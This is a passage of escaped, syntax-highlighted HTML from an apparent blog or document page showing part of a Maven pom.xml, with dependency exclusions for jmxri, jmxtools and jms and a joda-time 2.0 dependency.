&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;exclusion&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;com.sun.jmx&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;jmxri&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;exclusion&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;exclusion&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;com.sun.jdmk&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;jmxtools&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;exclusion&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;exclusion&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;javax.jms&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;jms&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;exclusion&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;exclusions&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;joda&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;-time&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;joda&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;-time&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;2.0&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
